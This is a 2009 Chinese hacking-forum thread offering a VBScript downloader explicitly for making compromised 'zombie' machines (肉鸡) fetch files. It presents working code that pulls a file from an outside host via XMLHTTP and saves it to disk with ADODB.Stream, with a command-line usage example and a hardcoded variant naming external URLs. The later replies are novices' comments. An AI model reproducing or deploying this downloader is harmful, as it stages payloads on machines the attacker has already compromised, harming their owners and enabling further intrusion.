Board logo

标题: 让肉鸡下载东西的vbs脚本 [打印本页]

作者: 3ast    时间: 2009-1-24 17:30     标题: 让肉鸡下载东西的vbs脚本

让肉鸡下载东西的vbs脚本
iLocal  = LCase(WScript.Arguments(1))  
iRemote = LCase(WScript.Arguments(0))  
Set xPost = CreateObject("Microsoft.XMLHTTP")  

xPost.Open "GET",iRemote,0  
xPost.Send()  
Set sGet = CreateObject("ADODB.Stream")  
sGet.Mode = 3  
sGet.Type = 1  
sGet.Open()  
sGet.Write(xPost.responseBody)  
sGet.SaveToFile iLocal,2   








让肉鸡下载东西的vbs脚本

wscript c:\down.vbs http://www.kill-v.com/22.txt c:\1.txt

http://bbs.5149417.cn





iLocal  ="c:\1.txt"
iRemote ="http://www.kyospace.com/22.txt"
Set xPost = CreateObject("Microsoft.XMLHTTP")  
xPost.Open "GET",iRemote,0  
xPost.Send()  
Set sGet = CreateObject("ADODB.Stream")  
sGet.Mode = 3  
sGet.Type = 1  
sGet.Open()  
sGet.Write(xPost.responseBody)  
sGet.SaveToFile iLocal,2
作者: Iverson333    时间: 2009-1-24 17:30

直接用记事本  编译  .VBE  文件 就行了么?:time:
作者: wt想起    时间: 2009-5-12 19:02

太菜了看不懂!
作者: lichun_530    时间: 2009-5-15 15:17

顶顶顶!
看看看!!
作者: kacos999    时间: 2010-1-31 01:34

學習學習學習!!!!!!!!!!
作者: 夏至    时间: 2010-4-12 13:52

看不懂、我也是菜鸟、。




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2